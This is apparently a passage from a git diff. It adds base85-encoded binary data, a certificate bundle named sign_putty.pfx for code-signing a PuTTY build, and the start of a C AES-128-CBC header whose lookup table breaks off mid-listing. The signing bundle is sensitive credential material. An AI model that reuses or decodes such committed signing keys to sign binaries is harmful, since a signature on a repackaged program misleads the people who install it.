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�i=%F?QMB(l?m zz+dXpp^{>l*@3i+_;yy~721sZ#yqM3HZcbQU<~=k&1!sro@Xo6XeY;nJ$+tKjgWl% zg+^LhQKXUfOr}xCyu7DNX9Pz0SYt3c}# z54Ut-yKUqgsL^(_-aKI|7U~L&P@c8awx)X;gE{Mk8-<6n<#GXc71Hh1bXOQIp|uQ~ z4JoE@Qlk=4Z;Q($5^l`X@2zq@+Fx%B#}Zal9Zd8UzE^1k!JJN7t+pzRtf}gnCAxd= zj*)Aso;A({8}$tj!?KP<1GO4-UCcEH?p4#7lT_5;=rihYxn?GJrD4;Yc2N;yRhrPF zz0OS`>*%1p!@x8>tP?sK@u}7d^LVl+ZPAB|WZrM#u`k+oQdjECRJE}`{iQRNWab7t zGgL7&tUIC4Pr^q|BfzQDc0|UTpt-SB-$-V+4QN`Um#?sx6Frb%W1s3ll&$F%op7eZ zQ+C}12*2VCjlKH-E#vLFQd4TTSCcpjzNR0o5<-}Vgl?|iVy%8;t9f3lnghtr2+&my z8t(mtenjSWi$t_Q%x}t4z7?7RjC_rT+|V3V@Y>wl+|`=A-%NSgQ3L-Fq8c9P2_tL* zr3lD&;^YarGJY^OqUdBpvJwRb(oJbRk*Ix6TXvf8V^Xh&1h)0(HI~9Q)JXa<6F4wP8=Q9Mnt%>FcZ&5c2t+ME# zO+r~Z-3vHMPkcsGs5Kvd@iO{nU>`S~& z*}^4Wy(y~uyts4Fc!)}x_2vv2LD@@972R$w@=5h(dew5?o;7u_!*&b_SF?avUtu?& zWsqE8U!iNe#f*3knUaaW!AiXZP3j6fCaek8wh3W45K zBs6QogM7*+WC@w8QIW75Xo*&}UgPnG{K3X}s;SNZP$+#6Da;yum!OM=^z$`zC8-Q* z(?%;%Cex#mW0H<#T`{tXrkW*mZ89!*lU?djIQA~`&~SR5rDb(FOl4>n!0kk?G8(Hq zGMp=|IXHPH4ogQfQY0|y)Hyl08U?N~Mb~vQH^u6kJ#2qvc5JZ7V;Cr9E$6fLuHzy2 zg6#upQ4qJd=$hL%MTQ~Szj05a-d*^5V>(h@Z%AygLZaPkJ+iv5v~iy^sN~(9vDj!^Ssz(nghhtp#8u;NLXj)UI`qPAiKHlR6x; zu^)p4l?ZKaS8a_Myc&2G^-#6a)@X&M(VRt9LT;w&Qev#AjM8n|`fFp0=rtvBBs_A# zE-^K}cMk)&Tl5uovf9ayUQRUM;CAY0cEt6mL#xuzE|}S)RNun^iA2nbw01KJWVDTH z=7_$(ti1pn-86zVR)4yMKCm11i7@nF@tdkoE3w*~`VKSww|%F&XJ}m&M3AJ}dG{9{ z%&}{&haSe`xq|U6cIUB5zcHw*cxTTiDT}$zuHP(RVnn!3mvP6V`M$m=DJ6_lTdTq) zknR|_zC@MTX4&v^4{eY_xjsd&?Y>#%dePhI)jT}<{1>|@b%7 literal 0 HcmV?d00001 diff --git a/custom_certs/sign_putty.pfx b/custom_certs/sign_putty.pfx new file mode 100644 index 0000000000000000000000000000000000000000..f771e2826be6283180a504e8f8e1b118e794134b GIT binary patch literal 4451 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 b&jre6rZ&xx9eDR-$)_|tGn`ER8} + +#ifndef __AES_128_CBC_H__ +#define __AES_128_CBC_H__ + +#define AES_BLOCK_SIZE 16 +#define AES_KEY_SIZE 16 + +#define GETU32(in_data) (((unsigned int)(in_data)[0] << 24) ^ \ + ((unsigned int)(in_data)[1] << 16) ^ \ + ((unsigned int)(in_data)[2] << 8) ^ \ + ((unsigned int)(in_data)[3] << 0)) + +#define PUTU32(out_data, st) { (out_data)[0] = (unsigned char)((st) >> 24); \ + (out_data)[1] = (unsigned char)((st) >> 16); \ + (out_data)[2] = (unsigned char)((st) >> 8); \ + (out_data)[3] = (unsigned char)((st) >> 0); } + +static const unsigned int Te0[256] = +{ + 0xc66363a5U, 0xf87c7c84U, 0xee777799U, 0xf67b7b8dU, + 0xfff2f20dU, 0xd66b6bbdU, 0xde6f6fb1U, 0x91c5c554U, + 0x60303050U, 0x02010103U, 0xce6767a9U, 0x562b2b7dU, + 0xe7fefe19U, 0xb5d7d762U, 0x4dababe6U, 0xec76769aU, + 0x8fcaca45U, 0x1f82829dU, 0x89c9c940U, 0xfa7d7d87U, + 0xeffafa15U, 0xb25959ebU, 0x8e4747c9U, 0xfbf0f00bU, + 0x41adadecU, 0xb3d4d467U, 0x5fa2a2fdU, 0x45afafeaU, + 0x239c9cbfU, 0x53a4a4f7U, 0xe4727296U, 0x9bc0c05bU, + 0x75b7b7c2U, 0xe1fdfd1cU, 0x3d9393aeU, 0x4c26266aU, + 0x6c36365aU, 0x7e3f3f41U, 0xf5f7f702U, 0x83cccc4fU, + 0x6834345cU, 0x51a5a5f4U, 0xd1e5e534U, 0xf9f1f108U, + 0xe2717193U, 0xabd8d873U, 0x62313153U, 0x2a15153fU, + 0x0804040cU, 0x95c7c752U, 0x46232365U, 0x9dc3c35eU, + 0x30181828U, 0x379696a1U, 0x0a05050fU, 0x2f9a9ab5U, + 0x0e070709U, 0x24121236U, 0x1b80809bU, 0xdfe2e23dU, + 0xcdebeb26U, 0x4e272769U, 0x7fb2b2cdU, 0xea75759fU, + 0x1209091bU, 0x1d83839eU, 0x582c2c74U, 0x341a1a2eU, + 0x361b1b2dU, 0xdc6e6eb2U, 0xb45a5aeeU, 0x5ba0a0fbU, + 0xa45252f6U, 0x763b3b4dU, 0xb7d6d661U, 0x7db3b3ceU, + 0x5229297bU, 0xdde3e33eU, 0x5e2f2f71U, 0x13848497U, + 0xa65353f5U, 0xb9d1d168U, 0x00000000U, 0xc1eded2cU, + 0x40202060U, 0xe3fcfc1fU, 0x79b1b1c8U, 0xb65b5bedU, + 0xd46a6abeU, 0x8dcbcb46U, 0x67bebed9U, 0x7239394bU, + 0x944a4adeU, 0x984c4cd4U, 0xb05858e8U, 0x85cfcf4aU, + 0xbbd0d06bU, 0xc5efef2aU, 0x4faaaae5U, 0xedfbfb16U, + 0x864343c5U, 0x9a4d4dd7U, 0x66333355U, 0x11858594U, + 0x8a4545cfU, 0xe9f9f910U, 0x04020206U, 0xfe7f7f81U, + 0xa05050f0U, 0x783c3c44U, 0x259f9fbaU, 0x4ba8a8e3U, + 0xa25151f3U, 0x5da3a3feU, 0x804040c0U, 0x058f8f8aU, + 0x3f9292adU, 0x219d9dbcU, 0x70383848U, 0xf1f5f504U, + 0x63bcbcdfU, 0x77b6b6c1U, 0xafdada75U, 0x42212163U, + 0x20101030U, 0xe5ffff1aU, 0xfdf3f30eU, 0xbfd2d26dU, + 0x81cdcd4cU, 0x180c0c14U, 0x26131335U, 0xc3ecec2fU, + 0xbe5f5fe1U, 0x359797a2U, 0x884444ccU, 0x2e171739U, + 0x93c4c457U, 0x55a7a7f2U, 0xfc7e7e82U, 0x7a3d3d47U, + 0xc86464acU, 0xba5d5de7U, 0x3219192bU, 0xe6737395U, + 0xc06060a0U, 0x19818198U, 0x9e4f4fd1U, 0xa3dcdc7fU, + 0x44222266U, 0x542a2a7eU, 0x3b9090abU, 0x0b888883U, + 0x8c4646caU, 0xc7eeee29U, 0x6bb8b8d3U, 0x2814143cU, + 0xa7dede79U, 0xbc5e5ee2U, 0x160b0b1dU, 0xaddbdb76U, + 0xdbe0e03bU, 0x64323256U, 0x743a3a4eU, 0x140a0a1eU, + 0x924949dbU, 0x0c06060aU, 0x4824246cU, 0xb85c5ce4U, + 0x9fc2c25dU, 0xbdd3d36eU, 0x43acacefU, 0xc46262a6U, + 0x399191a8U, 0x319595a4U, 0xd3e4e437U, 0xf279798bU, + 0xd5e7e732U, 0x8bc8c843U, 0x6e373759U, 0xda6d6db7U, + 0x018d8d8cU, 0xb1d5d564U, 0x9c4e4ed2U, 0x49a9a9e0U, + 0xd86c6cb4U, 0xac5656faU, 0xf3f4f407U, 0xcfeaea25U, + 0xca6565afU, 0xf47a7a8eU, 0x47aeaee9U, 0x10080818U, + 0x6fbabad5U, 0xf0787888U, 0x4a25256fU, 0x5c2e2e72U, + 0x381c1c24U, 0x57a6a6f1U, 0x73b4b4c7U, 0x97c6c651U, + 0xcbe8e823U, 0xa1dddd7cU, 0xe874749cU, 0x3e1f1f21U, + 0x964b4bddU, 0x61bdbddcU, 0x0d8b8b86U, 0x0f8a8a85U, + 0xe0707090U, 0x7c3e3e42U, 0x71b5b5c4U, 0xcc6666aaU, + 0x904848d8U, 0x06030305U, 0xf7f6f601U, 0x1c0e0e12U, + 0xc26161a3U, 0x6a35355fU, 0xae5757f9U, 0x69b9b9d0U, + 0x17868691U, 0x99c1c158U, 0x3a1d1d27U, 0x279e9eb9U, + 0xd9e1e138U, 0xebf8f813U, 0x2b9898b3U, 0x22111133U, + 0xd26969bbU, 0xa9d9d970U, 0x078e8e89U, 0x339494a7U, + 0x2d9b9bb6U, 0x3c1e1e22U, 0x15878792U, 0xc9e9e920U, + 0x87cece49U, 0xaa5555ffU, 0x50282878U, 0xa5dfdf7aU, + 0x038c8c8fU, 0x59a1a1f8U, 0x09898980U, 0x1a0d0d17U, + 0x65bfbfdaU, 0xd7e6e631U, 0x844242c6U, 0xd06868b8U, + 0x824141c3U, 0x299999b0U, 0x5a2d2d77U, 0x1e0f0f11U, + 0x7bb0b0cbU, 0xa85454fcU, 0x6dbbbbd6U, 0x2c16163aU, +}; + +static const unsigned int Te1[256] = +{ + 0xa5c66363U, 0x84f87c7cU, 0x99ee7777U, 0x8df67b7bU, + 0x0dfff2f2U, 0xbdd66b6bU, 0xb1de6f6fU, 0x5491c5c5U, + 0x50603030U, 0x03020101U, 0xa9ce6767U, 0x7d562b2bU, + 0x19e7fefeU, 0x62b5d7d7U, 0xe64dababU, 0x9aec7676U, + 0x458fcacaU, 0x9d1f8282U, 0x4089c9c9U, 0x87fa7d7dU, + 0x15effafaU, 0xebb25959U, 0xc98e4747U, 0x0bfbf0f0U, + 0xec41adadU, 0x67b3d4d4U, 0xfd5fa2a2U, 0xea45afafU, + 0xbf239c9cU, 0xf753a4a4U, 0x96e47272U, 0x5b9bc0c0U, + 0xc275b7b7U, 0x1ce1fdfdU, 0xae3d9393U, 0x6a4c2626U, + 0x5a6c3636U, 0x417e3f3fU, 0x02f5f7f7U, 0x4f83ccccU, + 0x5c683434U, 0xf451a5a5U, 0x34d1e5e5U, 0x08f9f1f1U, + 0x93e27171U, 0x73abd8d8U, 0x53623131U, 0x3f2a1515U, + 0x0c080404U, 0x5295c7c7U, 0x65462323U, 0x5e9dc3c3U, + 0x28301818U, 0xa1379696U, 0x0f0a0505U, 0xb52f9a9aU, + 0x090e0707U, 0x36241212U, 0x9b1b8080U, 0x3ddfe2e2U, + 0x26cdebebU, 0x694e2727U, 0xcd7fb2b2U, 0x9fea7575U, + 0x1b120909U, 0x9e1d8383U, 0x74582c2cU, 0x2e341a1aU, + 0x2d361b1bU, 0xb2dc6e6eU, 0xeeb45a5aU, 0xfb5ba0a0U, + 0xf6a45252U, 0x4d763b3bU, 0x61b7d6d6U, 0xce7db3b3U, + 0x7b522929U, 0x3edde3e3U, 0x715e2f2fU, 0x97138484U, + 0xf5a65353U, 0x68b9d1d1U, 0x00000000U, 0x2cc1ededU, + 0x60402020U, 0x1fe3fcfcU, 0xc879b1b1U, 0xedb65b5bU, + 0xbed46a6aU, 0x468dcbcbU, 0xd967bebeU, 0x4b723939U, + 0xde944a4aU, 0xd4984c4cU, 0xe8b05858U, 0x4a85cfcfU, + 0x6bbbd0d0U, 0x2ac5efefU, 0xe54faaaaU, 0x16edfbfbU, + 0xc5864343U, 0xd79a4d4dU, 0x55663333U, 0x94118585U, + 0xcf8a4545U, 0x10e9f9f9U, 0x06040202U, 0x81fe7f7fU, + 0xf0a05050U, 0x44783c3cU, 0xba259f9fU, 0xe34ba8a8U, + 0xf3a25151U, 0xfe5da3a3U, 0xc0804040U, 0x8a058f8fU, + 0xad3f9292U, 0xbc219d9dU, 0x48703838U, 0x04f1f5f5U, + 0xdf63bcbcU, 0xc177b6b6U, 0x75afdadaU, 0x63422121U, + 0x30201010U, 0x1ae5ffffU, 